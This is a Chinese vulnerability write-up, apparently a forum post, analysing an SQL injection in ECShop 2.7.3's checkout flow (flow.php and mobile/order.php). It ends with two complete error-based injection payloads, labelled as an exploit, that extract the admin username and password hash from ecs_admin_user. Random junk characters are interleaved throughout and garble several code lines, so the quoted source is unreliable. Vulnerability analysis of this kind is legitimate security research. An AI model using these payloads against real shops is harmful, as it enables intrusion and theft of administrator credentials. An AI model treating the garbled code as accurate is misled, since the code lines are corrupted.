前段时间大概2012年圣诞节左右,在t00ls上看见ecshop全版本注入,当时也下载了最新的程序分析了下,最近考试比较忙,今天刚考完,把我分析的记录下来。$ W# x2 N `1 h% h
8 @3 ` r1 v9 M8 W& r 漏洞关键文件:
8 V/ H0 w7 n* n3 r% D1 K& _7 p
! M$ _7 {- A& C3 ]/ l /includes/lib_order.php9 }0 M4 U% F, W8 }
+ e8 n/ @, z, h/ I6 T* `
关键函数:' J X& Z' b2 Z; X6 e
; G j; z5 }6 E3 ^
+ m! c: y- A9 B2 t
" e* c% {) F0 O- t- k! u) A01 function available_shipping_list($region_id_list) 3 q6 p' O. k' V( M
, K( |4 f# @& I, [5 G02 { % N2 |8 M7 Z* q) V, a5 g
' @9 ?3 o, Q6 [. g x03 $sql = 'SELECT s.shipping_id, s.shipping_code, s.shipping_name, ' .
" F$ E2 E4 g* o/ J {3 a4 {- q# S( ]9 z0 P
04 's.shipping_desc, s.insure, s.support_cod, a.configure ' .
0 T5 M3 N" Y5 ~0 s& c
C0 j! g6 `( i% V* f2 F' t7 U05 'FROM ' . $GLOBALS['ecs']->table('shipping') . ' AS s, ' .
" X1 V1 c/ _# e) n# G# J' ]) g6 X7 Y) [7 S( O/ |
06 $GLOBALS['ecs']->table('shipping_area') . ' AS a, ' . . R; v. f/ N8 F8 m$ y8 `
; `; Y3 b1 i: b3 Z07 $GLOBALS['ecs']->table('area_region') . ' AS r '.
0 e* s8 s1 v+ [: f1 u2 J
7 K+ k: h( m% G2 [" _1 c08 'WHERE r.region_id ' . db_create_in($region_id_list) . 9 V9 q# n: A. n: R. v4 c7 d2 o; N
D+ X& G, B: Q- }09 ' AND r.shipping_area_id = a.shipping_area_id AND a.shipping_id = s.shipping_id AND s.enabled = 1 ORDER BY s.shipping_order'; 4 [& w* ?$ A8 x# L
1 p& I" S2 v( X
10
) W" r( R0 k: H0 _5 s+ z& w' o2 G" p9 r4 P. S
11 return $GLOBALS['db']->getAll($sql); 8 _! }/ |5 R* P; w- F
* z# h' P: u* S% C$ L2 V& a2 V12 }
. x: Z- C0 Y+ \0 ?6 Z) b$ a- L4 ^; B3 w7 w* S' W% t
显然对传入的参数没有任何过滤就带入了查询语句。$ @9 ~) P5 w' g, v
& b, N8 u. t' E# Y o$ S9 u
下面我们追踪这个函数在flow.php中: o' T, I* [ h0 N0 d
第531行:
: K5 W# E" H' X( Y% Y2 M: g
6 X" o7 ]5 C7 d3 g( c1 Z6 g1 $shipping_list = available_shipping_list($region);
2 b0 @6 l& B: c! L6 N* J: h# A
0 U% S1 H- \0 W0 f3 R7 R% P 2 O, l( }. @$ J) `5 J |9 }
+ _% m% F& M( e# P1 h1 f
- W! m- W6 q; l! l3 [, o" A
8 E9 V+ X/ s5 G" \+ G再对传入变量进行追踪:4 Q# n: Z7 n- r1 Y7 \3 F' A3 l
) O( W& q, N6 A5 L" b第530行: 6 _% ?7 T' G/ |( _( j
0 W8 _) W: G- b" c- z5 Z/ a$ l# @2 M
1 $region = array($consignee['country'], $consignee['province'],$consignee['city'], $consignee['district']); ( n8 Q; h" D ?8 v
- a6 i. A6 O4 o, s; m! r* V- T. e
6 t( X7 }% d! w- u
8 @5 w" d* f, Q
, q% q$ H4 S3 a$ D; F4 v$ R
: W2 H. C3 d; \+ T1 a% j第473行: J5 a8 V2 z5 f+ p! D$ \& k
F2 [* w' a5 O- ~. ]7 y
1 $consignee = get_consignee($_SESSION['user_id']);
8 ?4 c( c0 z0 K# X- n+ O% h# e; ^: }3 N
到了一个关键函数:, O- b; T" z' `- e- C1 v5 u" f8 t5 j
) x! E u* f( h+ M
/includes/lib_order.php
0 U1 b! V% \+ j% J+ K3 Z, @$ F" s1 D$ P$ S6 a; L
. B% @: d$ G& }7 o; X7 U( r) q
7 r8 ]. m: K# C' X+ T) P! M3 }* s
+ K$ D6 @/ ^. P6 }3 f2 A, Y! S7 @0 |; j; b2 O7 |7 P1 T; i0 f+ r
01 function get_consignee($user_id) 6 n0 r! h9 L2 o( ]( c& Y
3 Q; S- o. }) m9 |02 {
* C" ~3 g. e0 a! e% Z# m" {' u6 v
3 B0 I8 }! C7 c! Z! R03 if (isset($_SESSION['flow_consignee'])) 1 j+ ?9 z, `* R' b- n
, ?, U: |) c+ V( C5 l6 P( w04 { 0 `+ a0 D s9 S2 Z5 w7 V
( t1 R+ j& x9 {! @+ U05 /* 如果存在session,则直接返回session中的收货人信息 */
/ R8 \1 J G! ~) A d; z: }& C- S0 W }. U; k, Y8 G
06 2 D) s# J) ~# J
4 p1 o! Y& H$ w; C, v1 W1 N; n2 L) ~
07 return $_SESSION['flow_consignee']; & X) J) Y8 X. \ h- k% L* x; R) K
+ F' g, R; j) ]9 D7 ^ @. F08 }
+ l2 c4 B% Q, c2 k3 k
6 f6 B" `6 N, w5 P7 y09 else - V5 T$ R' O% H K Y. \
3 Q8 \, I, s( k10 { " }7 }9 {6 t9 {4 J
0 p" }* ~* S- F* n1 e. r
11 /* 如果不存在,则取得用户的默认收货人信息 */ & J# Q1 I* {% Y
5 Z4 H. U+ j7 c( u2 C$ x' j+ z12 $arr = array();
) I. A4 t: b" \9 g" L" ^, e8 E$ S) ?/ P) c2 f) g# L
13
& i- p; p+ d8 r0 r% m* Z% m
6 T* ^" @9 q$ z8 J" ]14 if ($user_id > 0)
9 n/ o, [" y4 y+ o8 ?/ ^+ }; }3 K% A. T+ o# {( y7 }8 N
15 { 4 I ?" p4 @' P: \) y
6 r& Q9 p$ P8 \6 H" f1 |1 R16 /* 取默认地址 */
% l- ^( W. t4 O9 F/ D: K, Z" l5 a5 Z; x+ p4 M5 o2 m
17 $sql = "SELECT ua.*".
: X8 M" {. Z' a! s0 k% r4 \9 P
; q3 \% O. ~+ G0 W9 k- t6 S" v18 " FROM " . $GLOBALS['ecs']->table('user_address') . "AS ua, ".$GLOBALS['ecs']->table('users').' AS u '.
( h# k: [. ], t4 k. l+ J2 z' m+ \7 v: f: C" t. P. Q' ~2 ^% B- D
19 " WHERE u.user_id='$user_id' AND ua.address_id = u.address_id";
) k9 ?7 g8 e L! H3 r" a1 l& }" c( R: H- h
20
7 P5 E( }; ]3 w. e& K( ?
$ C" _) A0 W J& k3 [! d21 $arr = $GLOBALS['db']->getRow($sql);
2 @7 M/ p3 q% M' u5 X! }0 V( U0 s6 W2 V/ a( c5 s5 ]+ j
22 }
0 O1 S' Q2 s3 e5 S; M) f2 q
/ G+ X0 S, R. R" m# G* ?23
& y1 w* _' N4 Z: E* _8 @4 J
7 \$ p ~. }- X+ l" ?24 return $arr; Q) W0 ^- H& A& {, e
$ ]0 W9 l# e4 m" q6 s! ~8 n
25 }
( Q' c! s: j& }- B1 G( ]: i5 p+ A) m% [7 r$ H0 {: ?
26 }
K6 B ^8 \3 D9 V
# W% k1 r0 V2 w6 W m+ K显然如果 isset($_SESSION['flow_consignee']存在就直接使用。到底存不存在呢?
+ t( a5 f$ l N) s+ N7 R( d' z( c1 {
" v; ~( }0 s: u' b( X 3 F, R* e! s* R+ f7 i
1 C- L7 O' g; I& E, j7 |1 V3 v: P关键点:$ o2 c% Z8 \- ]
$ o- c6 \6 C1 \9 z第400行: $_SESSION['flow_consignee'] = stripslashes_deep($consignee);
, P9 A; a( d, x9 P% d1 m/ N. v, |- L' V& G) Y) v3 ^
这里对传入参数反转义存入$_SESSION中。
* o$ a3 j' [* P- Y l$ a6 U# y) M3 c2 |. x( W7 O$ V
" a6 ^; x+ j b- B1 h# J
4 c2 e6 A$ I3 Z. H3 n V
然后看下:
P( N& b1 s8 E
5 V1 d1 l i( P7 C% D: X) s " |) x4 M; Y8 {/ B: E+ J" X. U
' w% W7 h: {. v j
6 g, X( l3 e$ H5 n5 T! m" j: G
0 |1 P# O% g. m! b# W. ?/ E01 $consignee = array( 2 \" D' Z/ u: r# s* v$ K) L% {
. H9 q3 C5 b+ T' x& J02 'address_id' => empty($_POST['address_id']) ? 0 :intval($_POST['address_id']),
% @* W1 X/ B" s/ c+ \) j
: ~, l0 e: M# E& h) r ]: i. j* u4 x03 'consignee' => empty($_POST['consignee']) ? '' : trim($_POST['consignee']),
+ V" G' C* k8 k; f4 k* ]2 {
+ S6 j0 h% T+ H( n, g7 r7 {( A04 'country' => empty($_POST['country']) ? '' _POST['country'], v6 Z% B5 y2 G1 \
' b$ d2 A. {, ]! V# b$ D! T
05 'province' => empty($_POST['province']) ? '' _POST['province'], ! ~2 ?5 n8 K1 D# x; A( C
# J% X/ A8 U8 f$ P9 g06 'city' => empty($_POST['city']) ? '' _POST['city'], 2 R# k5 M* ?$ K; L1 ]4 A: E
- k# {0 ]' f/ I' e# N6 ]' c' r07 'district' => empty($_POST['district']) ? '' _POST['district'], - z5 I! N& ]' a+ t0 {- H
. j. h4 G. v" ^, G _+ f08 'email' => empty($_POST['email']) ? '' _POST['email'],
3 I- S) F( s, @( t9 V5 B8 K5 ~0 P
) s& g2 d. Z f% P* v4 ~. _( v09 'address' => empty($_POST['address']) ? '' _POST['address'],
7 U6 [* a, W" k2 @
/ R8 M$ m* f' q. x/ ~0 { S0 s10 'zipcode' => empty($_POST['zipcode']) ? '' : make_semiangle(trim($_POST['zipcode'])),
5 M! H y- K4 T8 O3 ]
+ p2 I8 E# }+ C6 j0 }; _1 \. A11 'tel' => empty($_POST['tel']) ? '' : make_semiangle(trim($_POST['tel'])), 0 C# k! @0 W3 [$ ]* x
3 {4 `( b; L' ^0 r* d6 S F3 t12 'mobile' => empty($_POST['mobile']) ? '' : make_semiangle(trim($_POST['mobile'])),
" F+ |- }) k% j* h, U s4 _5 u0 E, f& L9 r
13 'sign_building' => empty($_POST['sign_building']) ? '' _POST['sign_building'], # f. a" {5 [1 Y3 t
7 |0 b+ X, Y3 F4 B! p& n7 w14 'best_time' => empty($_POST['best_time']) ? '' _POST['best_time'], 7 g4 D3 B) \7 E7 ~, ^; \
* Y/ C6 |0 s( P3 N
15 );
/ V6 v% L: s8 B* M8 P) R! S
% B! _3 j0 s: d, J好了注入就这样出现了。, c7 m p; Y3 U5 }: `0 J
" Y" S" T7 U% h8 S# m' y2 C p==================
- r+ W. G+ f; ]8 T1 h1 e) J
5 U- o+ P1 x/ R" g) D注入测试: X! b5 v" Y0 l2 B! t
+ m9 ]5 m6 N7 O- X' [6 O; ^' m$ I环境:windows7+xampp1.7.7(Apache2.2.21+Php 5.3.8+Mysql 5.5.16); V3 p# B7 D2 M8 h
4 u/ { _) \; Q! D' Q) s
测试程序:ECShop_V2.7.3_UTF8_release1106
$ N n2 s% J: a' F
7 }- \6 P' F* i3 k% F ' @$ P- y" T4 B+ p$ ^4 |; t
0 P& ?: v2 ^; h% y
1.首先需要点击一个商品加入购物车
( U z) @* V; s, L0 H9 |. [3 v4 K8 _! w
2.注册一个会员帐号
$ T+ w9 ?( r, F
2 o! A: M4 ]$ D0 J/ v/ L: J3.post提交数据5 j( z0 u/ A- m3 B& s
7 D- F! m; s4 x. J5 T( {0 O: i0 S
9 E q) @0 \1 n l' Z' L6 p
! f9 E2 F1 S* h7 `/ A1 http://127.0.0.1/ecshop/flow.php
4 `! x( a& P5 ]8 r! v4 N& c1 Q- U9 ^" d+ B7 @
2
' V9 H" |( O, d% G8 ]9 N$ z9 L
5 l7 T# a' U* Q. T0 C( R- L3 country=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&step=consignee&act=checkout&address_id=
! p& L6 ^! c% ]8 J举一反三,我们根据这个漏洞我们可以继续深入挖掘:5 a* {) W6 K5 t. q0 A: F5 R4 Q
. f% ~8 ], v6 i, C/ W; ` S我们搜寻关键函数function available_shipping_list()
8 e7 J7 w( a( V4 N' s$ }, G$ r% u! J
在文件/moblie/order.php中出现有,次文件为手机浏览文件功能基本和flow.php相同,代码流程基本相同
1 J) ]) ^) }5 D' T8 B8 l7 R# X7 K" V& e- A
利用exp:
$ u, C1 H5 b! ?
4 }0 `& L; ~+ A/ g1.点击一个商品,点击购买商标
3 D' H2 u" }0 J% a5 ~- M8 w7 V: Y6 B' S: g2 _% k# P+ f' A
2.登录会员帐号
7 F: r+ D3 q0 J Y9 K' J
7 }. I* o) m; I6 X9 m3.post提交:6 f. s$ X5 p3 p
# k0 a1 U) [ G) |1 u% K6 G
http://127.0.0.1/ecshop/mobile/order.php
3 N: D4 R. |8 M7 |5 g0 p
8 g( x/ I6 l7 S3 ?: z/ Q ( }, x4 {5 E" }$ M# e# P
1 K9 C- b# @1 q) Y# i. w9 T
country=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&&act=order_lise&address_id=" l8 ?8 q8 {9 y+ t9 _
; ? {7 a# S- U& M9 M
|